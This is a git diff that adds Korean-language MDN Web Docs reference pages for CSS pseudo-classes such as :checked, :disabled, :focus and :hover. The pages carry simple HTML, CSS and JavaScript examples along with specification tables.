+ + diff --git a/files/ko/web/css/_colon_checked/index.html b/files/ko/web/css/_colon_checked/index.html new file mode 100644 index 0000000000..337f93d1cd --- /dev/null +++ b/files/ko/web/css/_colon_checked/index.html @@ -0,0 +1,193 @@ +--- +title: ':checked' +slug: 'Web/CSS/:checked' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:checked' +--- +
{{CSSRef}}
+ +

:checked CSS 의사 클래스 선택자는 선택했거나 on 상태인 라디오(<input type="radio">), 체크박스(<input type="checkbox">), 옵션({{HTMLElement("option")}} 요소를 나타냅니다.

+ +
/* Matches any checked/selected radio, checkbox, or option */
+:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+
+ +

사용자가 요소를 체크했거나 선택한 경우 활성화되고, 체크나 선택을 해제하는 경우 비활성화됩니다.

+ +
+

참고: 많은 경우 브라우저는 <option> 요소를 대체 요소로 취급하므로, :checked 의사 클래스를 사용한 스타일을 적용할 수 있는 범위도 브라우저마다 다릅니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +

HTML

+ +
<div>
+  <input type="radio" name="my-input" id="yes">
+  <label for="yes">Yes</label>
+
+  <input type="radio" name="my-input" id="no">
+  <label for="no">No</label>
+</div>
+
+<div>
+  <input type="checkbox" name="my-checkbox" id="opt-in">
+  <label for="opt-in">Check me!</label>
+</div>
+
+<select name="my-select" id="fruit">
+  <option value="opt1">Apples</option>
+  <option value="opt2">Grapes</option>
+  <option value="opt3">Pears</option>
+</select>
+
+ +

CSS

+ +
div,
+select {
+  margin: 8px;
+}
+
+/* Labels for checked inputs */
+input:checked + label {
+  color: red;
+}
+
+/* Radio element, when checked */
+input[type="radio"]:checked {
+  box-shadow: 0 0 0 3px orange;
+}
+
+/* Checkbox element, when checked */
+input[type="checkbox"]:checked {
+  box-shadow: 0 0 0 3px hotpink;
+}
+
+/* Option elements, when selected */
+option:checked {
+  box-shadow: 0 0 0 3px lime;
+  color: red;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("기본_예제")}}

+ +

숨겨진 체크박스를 사용해 요소 켜고 끄기

+ +

다음 예제 코드는 :checked 의사 클래스와 체크박스를 사용해, JavaScript 없이도 사용자가 켜거나 끌 수 있는 콘텐츠를 구현합니다.

+ +

HTML

+ +
<input type="checkbox" id="expand-toggle" />
+
+<table>
+  <thead>
+    <tr><th>Column #1</th><th>Column #2</th><th>Column #3</th></tr>
+  </thead>
+  <tbody>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+    <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>
+    <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+  </tbody>
+</table>
+
+<label for="expand-toggle" id="expand-btn">Toggle hidden rows</label>
+
+ +

CSS

+ +
/* Hide the toggle checkbox */
+#expand-toggle {
+  display: none;
+}
+
+/* Hide expandable content by default */
+.expandable {
+  visibility: collapse;
+  background: #ddd;
+}
+
+/* Style the button */
+#expand-btn {
+  display: inline-block;
+  margin-top: 12px;
+  padding: 5px 11px;
+  background-color: #ff7;
+  border: 1px solid;
+  border-radius: 3px;
+}
+
+/* Show hidden content when the checkbox is checked */
+#expand-toggle:checked ~ * .expandable {
+  visibility: visible;
+}
+
+/* Style the button when the checkbox is checked */
+#expand-toggle:checked ~ #expand-btn {
+  background-color: #ccc;
+}
+ +

결과

+ +

{{EmbedLiveSample("숨겨진_체크박스를_사용해_요소_켜고_끄기", "auto", 220)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}{{ Spec2('HTML WHATWG') }}No change.
{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}{{ Spec2('HTML5 W3C') }}Defines the semantic regarding HTML.
{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}{{ Spec2('CSS3 Selectors') }}Defines the pseudo-class, but not the associated semantic
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.checked")}}

+
diff --git a/files/ko/web/css/_colon_default/index.html b/files/ko/web/css/_colon_default/index.html new file mode 100644 index 0000000000..06e0558495 --- /dev/null +++ b/files/ko/web/css/_colon_default/index.html @@ -0,0 +1,101 @@ +--- +title: ':default' +slug: 'Web/CSS/:default' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:default' +--- +
{{CSSRef}}
+ +

CSS :default 의사 클래스는 연관 요소 내에서의 기본값인 요소를 선택합니다.

+ +

이 선택자는 HTML Standard §4.16.3 Pseudo-classes에 정의되어 있듯 {{htmlelement("button")}}, <input type="checkbox">, <input type="radio">, {{htmlelement("option")}} 요소를 아래와 같은 경우에 선택합니다.

+ + + +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<fieldset>
+  <legend>Favorite season</legend>
+
+  <input type="radio" name="season" id="spring">
+  <label for="spring">Spring</label>
+
+  <input type="radio" name="season" id="summer" checked>
+  <label for="summer">Summer</label>
+
+  <input type="radio" name="season" id="fall">
+  <label for="fall">Fall</label>
+
+  <input type="radio" name="season" id="winter">
+  <label for="winter">Winter</label>
+</fieldset>
+
+ +

CSS

+ +
input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-default', ':default')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-default', ':default')}}{{Spec2('HTML5 W3C')}}Defines associated HTML semantics and constraint validation.
{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}{{Spec2('CSS4 Selectors')}}No change.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.default")}}

+
diff --git a/files/ko/web/css/_colon_defined/index.html b/files/ko/web/css/_colon_defined/index.html new file mode 100644 index 0000000000..89487adbb9 --- /dev/null +++ b/files/ko/web/css/_colon_defined/index.html @@ -0,0 +1,118 @@ +--- +title: ':defined' +slug: 'Web/CSS/:defined' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:defined' +--- +
{{CSSRef}}
+ +

CSS :defined 의사 클래스는 정의된 요소를 선택합니다. 정의된 요소란 브라우저에 내장된 표준 요소와, 성공적으로 정의({{domxref("CustomElementRegistry.define()")}} 메서드 등)한 사용자 지정 요소를 의미합니다.

+ +
/* Selects any defined element */
+:defined {
+  font-style: italic;
+}
+
+/* Selects any instance of a specific custom element */
+simple-custom:defined {
+  display: block;
+}
+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

정의되기 전까지 요소 숨기기

+ +

다음 코드는 저희의 defined-pseudo-class 데모에서 발췌한 것입니다. (동작 모습 보기)

+ +

이 데모에서는 아주 간단한 사용자 지정 요소를 정의합니다.

+ +
customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})
+ +

그 후, 위의 요소를 표준 <p>와 함께 문서에 넣습니다.

+ +
<simple-custom text="Custom element example text"></simple-custom>
+
+<p>Standard paragraph example text</p>
+ +

CSS에는 다음의 스타일을 작성합니다.

+ +
// Give the two elements distinctive backgrounds
+p {
+  background: yellow;
+}
+
+simple-custom {
+  background: cyan;
+}
+
+// Both the custom and the built-in element are given italic text
+:defined {
+  font-style: italic;
+}
+ +

그리고 아래의 두 규칙을 통해, 정의되지 않은 사용자 지정 요소는 숨기고, 정의가 성공적으로 된 경우에는 블록 레벨 요소로 표시합니다.

+ +
simple-custom:not(:defined) {
+  display: none;
+}
+
+simple-custom:defined {
+  display: block;
+}
+ +

위의 데모는 페이지에 불러올 때 꽤 시간이 걸릴 수 있는 복잡한 사용자 지정 요소 스타일링에 유용하게 쓸 수 있습니다. 로딩이 아직 진행 중일 때, 스타일을 입히지 않은는 못생긴 요소가 페이지에 노출되는 것을 막을 수 있으니까요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}{{ Spec2('HTML WHATWG') }}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.defined")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_disabled/index.html b/files/ko/web/css/_colon_disabled/index.html new file mode 100644 index 0000000000..5a65d93de2 --- /dev/null +++ b/files/ko/web/css/_colon_disabled/index.html @@ -0,0 +1,129 @@ +--- +title: ':disabled' +slug: 'Web/CSS/:disabled' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:disabled' +--- +
{{CSSRef}}
+ +

CSS :disabled 의사 클래스는 모든 비활성 요소를 나타냅니다. 비활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 없는 요소를 말합니다. 반대 상태인 활성 요소도 존재합니다.

+ +
/* 모든 비활성 <input> 선택 */
+input:disabled {
+  background: #ccc;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 사용자가 청구 주소 입력 칸을 켜거나 끌 수 있는 기능을 JavaScript {{event("change")}} 이벤트를 통해 구현한 기본적인 배송 양식입니다.

+ +

HTML

+ +
<form action="#">
+  <fieldset id="shipping">
+    <legend>배송지</legend>
+    <input type="text" placeholder="이름">
+    <input type="text" placeholder="주소">
+    <input type="text" placeholder="우편번호">
+  </fieldset>
+  <br>
+  <fieldset id="billing">
+    <legend>청구지</legend>
+    <label for="billing-checkbox">배송지와 동일:</label>
+    <input type="checkbox" id="billing-checkbox" checked>
+    <br>
+    <input type="text" placeholder="이름" disabled>
+    <input type="text" placeholder="주소" disabled>
+    <input type="text" placeholder="우편번호" disabled>
+  </fieldset>
+</form>
+
+ +

CSS

+ +
input[type="text"]:disabled {
+  background: #ccc;
+}
+
+ +

JavaScript

+ +
// 페이지 로딩이 끝날 때까지 기다림
+document.addEventListener('DOMContentLoaded', function () {
+  // `change` 이벤츠 수신기를 체크박스에 부착
+  document.getElementById('billing-checkbox').onchange = toggleBilling;
+}, false);
+
+function toggleBilling() {
+  // 청구지 텍스트 입력 칸을 모두 선택
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+
+  // 하나씩 토글
+  for (var i = 0; i < billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 250)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}{{Spec2('HTML5 W3C')}}Defines the semantics of HTML and forms.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS3 Selectors')}}Defines the pseudo-class, but not the associated semantics.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.disabled")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_enabled/index.html b/files/ko/web/css/_colon_enabled/index.html new file mode 100644 index 0000000000..edd9c70c2f --- /dev/null +++ b/files/ko/web/css/_colon_enabled/index.html @@ -0,0 +1,100 @@ +--- +title: ':enabled' +slug: 'Web/CSS/:enabled' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:enabled' +--- +
{{CSSRef}}
+ +

CSS :enabled 의사 클래스는 모든 활성 요소를 나타냅니다. 활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 있는 요소를 말합니다. 반대 상태인 비활성 요소도 존재합니다.

+ +
/* 모든 활성 <input> 선택 */
+input:enabled {
+  color: blue;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 모든 활성 텍스트 및 버튼 {{htmlElement("input")}}의 글자 색을 초록색으로 만들고, 비활성 상태는 회색으로 만듭니다. 이런 구분을 통해 사용자는 상호작용 가능한 요소를 쉽게 구별할 수 있습니다.

+ +

HTML

+ +
<form action="url_of_form">
+  <label for="FirstField">First field (enabled):</label>
+  <input type="text" id="FirstField" value="Lorem"><br>
+
+  <label for="SecondField">Second field (disabled):</label>
+  <input type="text" id="SecondField" value="Ipsum" disabled="disabled"><br>
+
+  <input type="button" value="Submit">
+</form>
+ +

CSS

+ +
input:enabled {
+  color: #2b2;
+}
+
+input:disabled {
+  color: #aaa;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 550, 95)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}{{Spec2('HTML5 W3C')}}Defines the semantics for HTML and forms.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS3 Selectors')}}Defines the pseudo-class, but not the associated semantics.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.enabled")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first-child/index.html b/files/ko/web/css/_colon_first-child/index.html new file mode 100644 index 0000000000..9d229f4dd5 --- /dev/null +++ b/files/ko/web/css/_colon_first-child/index.html @@ -0,0 +1,134 @@ +--- +title: ':first-child' +slug: 'Web/CSS/:first-child' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:first-child' +--- +
{{CSSRef}}
+ +

CSS :first-child 의사 클래스는 형제 요소 중 제일 첫 요소를 나타냅니다.

+ +
/* Selects any <p> that is the first element
+   among its siblings */
+p:first-child {
+  color: lime;
+}
+ +
+

참고: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.

+
+ +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

기본 예제

+ +

HTML

+ +
<div>
+  <p>This text is selected!</p>
+  <p>This text isn't selected.</p>
+</div>
+
+<div>
+  <h2>This text isn't selected: it's not a `p`.</h2>
+  <p>This text isn't selected.</p>
+</div>
+
+ +

CSS

+ +
p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('기본_예제', 500, 200)}}

+ +

목록 스타일링

+ +

HTML

+ +
<ul>
+  <li>Item 1</li>
+  <li>Item 2</li>
+  <li>Item 3
+    <ul>
+      <li>Item 3.1</li>
+      <li>Item 3.2</li>
+      <li>Item 3.3</li>
+    </ul>
+  </li>
+</ul>
+ +

CSS

+ +
ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}
+ +

결과

+ +

{{EmbedLiveSample('목록_스타일링')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS4 Selectors')}}Matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS3 Selectors')}}No change.
{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.first-child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first-of-type/index.html b/files/ko/web/css/_colon_first-of-type/index.html new file mode 100644 index 0000000000..d1ac0c65fc --- /dev/null +++ b/files/ko/web/css/_colon_first-of-type/index.html @@ -0,0 +1,115 @@ +--- +title: ':first-of-type' +slug: 'Web/CSS/:first-of-type' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:first-of-type' +--- +
{{CSSRef}}
+ +

CSS :first-of-type 의사 클래스는 형제 요소 중 자신의 유형과 일치하는 제일 첫 요소를 나타냅니다.

+ +
/* Selects any <p> that is the first element
+   of its type among its siblings */
+p:first-of-type {
+  color: red;
+}
+ +
+

참고: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.

+
+ +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

첫 문단 스타일링

+ +

HTML

+ +
<h2>Heading</h2>
+<p>Paragraph 1</p>
+<p>Paragraph 2</p>
+ +

CSS

+ +
p:first-of-type {
+  color: red;
+  font-style: italic;
+}
+ +

결과

+ +

{{EmbedLiveSample('첫_문단_스타일링')}}

+ +

중첩 요소

+ +

아래 코드는 중첩 요소를 선택하는 방법을 보입니다. 기본 선택자를 지정하지 않은 경우 전체 선택자(*)가 암시된다는 점도 볼 수 있습니다.

+ +

HTML

+ +
<article>
+  <div>This `div` is first!</div>
+  <div>This <span>nested `span` is first</span>!</div>
+  <div>This <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div>
+  <div>This <span>nested `span` gets styled</span>!</div>
+  <b>This `b` qualifies!</b>
+  <div>This is the final `div`.</div>
+</article>
+
+ +

CSS

+ +
article :first-of-type {
+  background-color: pink;
+}
+ +

결과

+ +

{{EmbedLiveSample('중첩_요소', 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS4 Selectors')}}Matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.first-of-type")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first/index.html b/files/ko/web/css/_colon_first/index.html new file mode 100644 index 0000000000..2058627f4b --- /dev/null +++ b/files/ko/web/css/_colon_first/index.html @@ -0,0 +1,97 @@ +--- +title: ':first' +slug: 'Web/CSS/:first' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:first' +--- +
{{CSSRef}}
+ +

CSS :first 의사 클래스는 {{cssxref("@page")}} @-규칙과 함께 사용되며, 출력 시의 첫 페이지를 나타냅니다.

+ +
/* Selects the first page when printing */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+ +
참고: :first 의사 클래스 안에서는 CSS  속성의 사용이 제한됩니다. 바깥 여백, {{cssxref("orphans")}}, {{cssxref("widows")}}와 페이지 넘김만 바꿀 수 있으며, 여백 지정 시 절대길이 단위만 사용할 수 있습니다. 다른 모든 속성은 무시합니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p>First Page.</p>
+<p>Second Page.</p>
+<button>출력!</button>
+
+ +

CSS

+ +
@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}
+
+ +

JavaScript

+ +
document.querySelector("button").addEventListener('click', () => {
+  window.print();
+});
+
+ +

결과

+ +

"출력!" 버튼을 눌러 페이지 출력 화면을 확인해보세요. 첫 번째 페이지의 콘텐츠는 중앙 어딘가에 위치하고, 두 번째 페이지의 콘텐츠는 기본 위치에 존재해야 합니다.

+ +

{{ EmbedLiveSample('예제', '80%', '150px') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}{{Spec2('CSS3 Paged Media')}}No change
{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}{{Spec2('CSS2.1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.first")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_focus-within/index.html b/files/ko/web/css/_colon_focus-within/index.html new file mode 100644 index 0000000000..7a25dc5b94 --- /dev/null +++ b/files/ko/web/css/_colon_focus-within/index.html @@ -0,0 +1,96 @@ +--- +title: ':focus-within' +slug: 'Web/CSS/:focus-within' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:focus-within' +--- +
{{CSSRef}}
+ +

CSS :focus-within 의사 클래스는 포커스를 받았거나, 포커스를 받은 요소를 포함하는 요소를 나타냅니다. 즉 스스로 {{CSSxRef(":focus")}} 의사 클래스와 일치하거나, 그 자손 중 하나가 :focus와 일치하는 요소를 나타냅니다. (섀도 트리 내부도 포함)

+ +
/* Selects a <div> when one of its descendants is focused */
+div:focus-within {
+  background: cyan;
+}
+ +

흔히 쓸 수 있는 예시로서, {{HTMLElement("form")}}의 {{HTMLElement("input")}} 필드 중 하나가 포커스된 경우 전체 <form>을 강조해야 할 때 유용하게 사용할 수 있습니다.

+ +

구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

다음 예제에서는 두 텍스트 입력 칸 중 하나라도 포커스를 받은 경우 양식을 강조합니다.

+ +

HTML

+ +
<p>아래 양식의 값을 채워주세요.</p>
+
+<form>
+  <label for="given_name">이름:</label>
+  <input id="given_name" type="text">
+  <br>
+  <label for="family_name">성:</label>
+  <input id="family_name" type="text">
+</form>
+ +

CSS

+ +
form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 500, 150)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.focus-within")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_focus/index.html b/files/ko/web/css/_colon_focus/index.html new file mode 100644 index 0000000000..3a3e853e44 --- /dev/null +++ b/files/ko/web/css/_colon_focus/index.html @@ -0,0 +1,116 @@ +--- +title: ':focus' +slug: 'Web/CSS/:focus' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:focus' +--- +
{{CSSRef}}
+ +

CSS :focus 의사 클래스는 양식의 입력 칸 등 포커스를 받은 요소를 나타냅니다. 보통 사용자가 요소를 클릭 또는 탭하거나, 키보드 Tab 키로 선택했을 때 발동합니다.

+ +
/* Selects any <input> when focused */
+input:focus {
+  color: red;
+}
+ +
+

참고: :focus는 포커스를 받은 요소 자체에만 해당합니다. 자손이 포커스를 받았을 때의 요소를 선택해야 하면 {{CSSxRef(":focus-within")}}을 사용하세요.

+
+ +

구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

HTML

+ +
<input class="red-input" value="저는 포커스를 받으면 빨갛게 됩니다."><br>
+<input class="blue-input" value="저는 포커스를 받으면 파랗게 됩니다.">
+ +

CSS

+ +
.red-input:focus {
+  background: yellow;
+  color: red;
+}
+
+.blue-input:focus {
+  background: yellow;
+  color: blue;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 시각적 포커스 지시자를 볼 수 있어야 합니다. 이는 또한 맑은 날의 외부처럼 밝은 공간에서의 스크린 사용자처럼 다른 사람에게도 도움이 될 수 있습니다. WCAG 2.1 SC 1.4.11 Non-Text Contrast는 시각적 포커스 지시자의 대비를 최소한 3:1로 요구하고 있습니다.

+ + + +

:focus { outline: none; }

+ +

절대 포커스의 기본 외곽선(시각적 포커스 지시자)을 대체 외곽선 없이 제거하지 마세요. 대체 외곽선은 WCAG 2.1 SC 1.4.11 Non-Text Contrast 기준을 통과해야 합니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}{{Spec2("HTML WHATWG")}}Defines HTML-specific semantics.
{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}{{Spec2("CSS4 Selectors")}}No change.
{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}{{Spec2("CSS3 Selectors")}}No change.
{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}{{Spec2("CSS2.1")}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.focus")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_fullscreen/index.html b/files/ko/web/css/_colon_fullscreen/index.html new file mode 100644 index 0000000000..70e0c0308c --- /dev/null +++ b/files/ko/web/css/_colon_fullscreen/index.html @@ -0,0 +1,94 @@ +--- +title: ':fullscreen' +slug: 'Web/CSS/:fullscreen' +tags: + - CSS + - Fullscreen API + - Pseudo-class + - Reference + - Selector + - 전체화면 +translation_of: 'Web/CSS/:fullscreen' +--- +
{{CSSRef}}
+ +

CSS :fullscreen 의사 클래스는 전체 화면 모드에 진입한 모든 요소와 일치합니다. 다수의 요소가 전체 화면 중이라면 그 요소 모두 선택합니다.

+ +

구문

+ +
{{csssyntax}}
+ +

사용 참고

+ +

:fullscreen 의사 클래스는 요소가 전체 화면과 일반적인 모습을 넘나들 때마다 크기, 스타일, 레이아웃 등을 조정하도록 스타일시트를 설정할 수 있습니다.

+ +

예제

+ +

이번 예제에서는 문서의 전체 화면 여부에 따라 버튼의 색을 변경합니다. 스타일 변경은 JavaScript 없이 CSS에서만 처리합니다.

+ +

HTML

+ +

페이지의 HTML 구조는 다음과 같습니다.

+ +
<h1>MDN Web Docs Demo: :fullscreen pseudo-class</h1>
+
+<p>This demo uses the <code>:fullscreen</code> pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.</p>
+
+<button id="fs-toggle">Toggle Fullscreen</button>
+ +

ID가 "fs-toggle"인 {{htmlelement("button")}}은 문서가 전체 화면이면 흐릿한 빨강, 그렇지 않으면 흐릿한 초록으로 색이 바뀝니다.

+ +

CSS

+ +

스타일 마법은 CSS에서 일어납니다. 두 가지 규칙을 사용할 것으로, 첫 번째는 전체 화면이 아닐 때 전체 화면 버튼의 배경색을 설정합니다. 중요한 것은 :not(:fullscreen)으로, :fullscreen 의사 클래스와 일치하지 않는 요소를 선택합니다.

+ +
#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+
+ +

문서가 전체 화면에 들어간 경우, 대신 아래의 CSS를 적용하여 버튼 배경을 흐릿한 빨강으로 바꿉니다.

+ +
#fs-toggle:fullscreen {
+  background-color: #faa;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}{{Spec2('Fullscreen')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.fullscreen")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_hover/index.html b/files/ko/web/css/_colon_hover/index.html new file mode 100644 index 0000000000..27a26aefe2 --- /dev/null +++ b/files/ko/web/css/_colon_hover/index.html @@ -0,0 +1,97 @@ +--- +title: ':hover' +slug: 'Web/CSS/:hover' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:hover' +--- +
{{ CSSRef }}
+ +

:hover CSS 의사 클래스는 사용자가 포인팅 장치를 사용해 상호작용 중인 요소를 선택합니다. 보통 사용자의 커서(마우스 포인터)가 요소 위에 올라가 있으면 선택됩니다.

+ +
/* "호버링" 중인 <a> 요소 선택 */
+a:hover {
+  color: orange;
+}
+ +

:hover 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :hover 규칙을 :link:visited 뒤, :active 앞에 배치하세요.

+ +
참고: :hover 의사 클래스는 터치스크린에서 문제가 많습니다. 브라우저에 따라서 :hover를 절대 활성화하지 않을 수도 있지만, 요소를 터치한 직후에만, 아니면 터치한 이후 다른 요소를 다시 터치하기 전까지 계속 활성화할 수도 있습니다. 웹 개발자는 호버링이 제한적이거나 아예 불가능한 장치에서도 콘텐츠에 접근할 수 있도록 개발해야 합니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<a href="#">이 링크를 가리켜보세요.</a>
+ +

CSS

+ +
a {
+  background-color: powderblue;
+  transition: background-color .5s;
+}
+
+a:hover {
+  background-color: gold;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationCommentFeedback
{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }} WHATWG HTML GitHub issues
